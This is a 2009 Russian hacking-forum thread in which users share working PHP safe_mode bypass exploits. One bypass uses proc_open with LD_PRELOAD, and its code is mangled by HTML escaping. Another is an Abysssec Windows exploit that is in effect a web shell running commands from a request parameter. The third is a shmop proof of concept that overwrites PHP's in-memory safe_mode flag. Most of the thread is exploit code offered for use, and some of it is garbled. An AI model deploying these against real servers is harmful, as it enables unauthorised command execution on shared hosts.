Цитата:
Сообщение от [underwater]  

PHP safe_mode bypass via proc_open() and custom environment

Код:
<!--p $path="/var/www"; //change to your writable path $a=fopen($path."/.comm","w"); fputs($a,$_GET["c"]); fclose($a); $descriptorspec = array(  0--> array("pipe", "r"),
 1 =&gt; array("file", $path."/output.txt","w"),
 2 =&gt; array("file", $path."/errors.txt", "a" )
);
$cwd = '.';
$env = array('LD_PRELOAD' =&gt; $path."/a.so");
$process = proc_open('id &gt; /tmp/a', $descriptorspec, $pipes, $cwd, $env); // example command - should not succeed
sleep(1);
$a=fopen($path."/.comm1","r");
echo "<strong>";
while (!feof($a))
{$b=fgets($a);echo $b;}
fclose($a);
?&gt;;
</strong>
в архиве небыло этого и почисти код то '&gt;'
и откуда кстати возмется 'a.so' ? опять не проверил (
http://milw0rm.com/exploits/7393

Последний раз редактировалось ShAnKaR; 24.07.2009 в 15:33..
 
Ответить с цитированием

PHP <= 5.2.9 Local Safemod bypass exploit (windows)
  #9  
Старый 24.07.2009, 19:54
Аватар для InFlame
InFlame
Участник форума
Регистрация: 27.10.2008
Сообщений: 215
Провел на форуме:
810079

Репутация: 90
По умолчанию PHP <= 5.2.9 Local Safemod bypass exploit (windows)

PHP код:
<?
/*
    Abysssec Inc Public Advisory 
    
    Here is another safemod bypass vulnerability exist in php <= 5.2.9 on windows .
    the problem comes from OS behavior - implement  and interfacing between php
    and operation systems directory structure . the problem is php won't tell difference 
    between directory browsing in linux and windows this can lead attacker to ability 
    execute his / her commands on targert machie even in SafeMod On  (php.ini setting) . 
    =============================================================================
    in linux when you want open a directory for example php directory you need
    to go to /usr/bin/php and you can't use \usr\bin\php . but windows won't tell
    diffence between slash and back slash it means there is no didffrence  between 
    c:\php and c:/php , and this is not vulnerability but itself but  because of this  simple 
    php implement "\" character can escape safemode using  function like excec . 
    here is a PoC for discussed vulnerability . just upload files on your target host and execute
    your commands . 
    ==============================================================================
    note : this vulnerabities is just for educational purpose and author will be not be responsible  
    for any damage using this vulnerabilty. 
    ==============================================================================
    for more information visit Abysssec.com
    feel free to contact me at admin [at] abysssec.com
*/
    
$cmd $_REQUEST['cmd'];
    if (
$cmd){
    
$batch fopen ("cmd.bat","w");
    
fwrite($batch,"$cmd>abysssec.txt"."\r\n");
    
fwrite($batch,"exit");
    
fclose($batch);
    
exec("\start cmd.bat");
    echo 
"<center>";
    echo 
"<h1>Abysssec.com PHP <= 5.2.9 SafeMod Bypasser</h1>";
    echo 
"<textarea rows=20 cols=60>";
    require(
"abysssec.txt");
    echo 
"</textarea>";
    echo 
"</center>";
    }
?>

<html>
<body bgcolor=#000000 and text=#DO0000>
<center>
<form method=post>
<input type=text name=cmd >
<input type=submit value=bypass>
</form>
</center>
</body>
</html>
http://milw0rm.com/sploits/2009-safemod-windows.zip
 
Ответить с цитированием

  #10  
Старый 01.08.2009, 02:37
Аватар для 0ze
0ze
Новичок
Регистрация: 06.02.2009
Сообщений: 11
Провел на форуме:
62996

Репутация: 16
По умолчанию

Php <= 5.0.2 & 4.3.9 (если загружен модуль shmop).
PHP код:
<?
/*
   Php Safe_mode Bypass Proof of concept.

   Copyright 2004 Stefano Di Paola stefano.dipaola[at]wisec.it

   Disclaimer: The author is not responsible of any damage this script can cause

*/

 
$shm_id shmop_open(0xff2"c"0644100);
  if (!
$shm_id) {
    echo 
"Couldn't create shared memory segment\n";
    die;
 }

// $data="\x01";
// the new value for safe_mode
 
$data="\x00";

// this (-3842685) is my offset to reach core_globals.safe_mode
// taken with gdb. (0x40688d83)
 
$offset=-3842685;
// Lets write the new value at our offset.
$shm_bytes_written shmop_write($shm_id$data$offset );
if (
$shm_bytes_written != strlen($data)) {
   echo 
"Couldn't write the entire length of data\n";
}

//Now lets delete the block and close the shared memory segment
if (!shmop_delete($shm_id)) {
   echo 
"Couldn't mark shared memory block for deletion.";
}
shmop_close($shm_id);

// Let's try if safe mode has been set to off
echo passthru("id");
dl("shmop.so");
?>
http://www.wisec.it/news.php?page=2
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ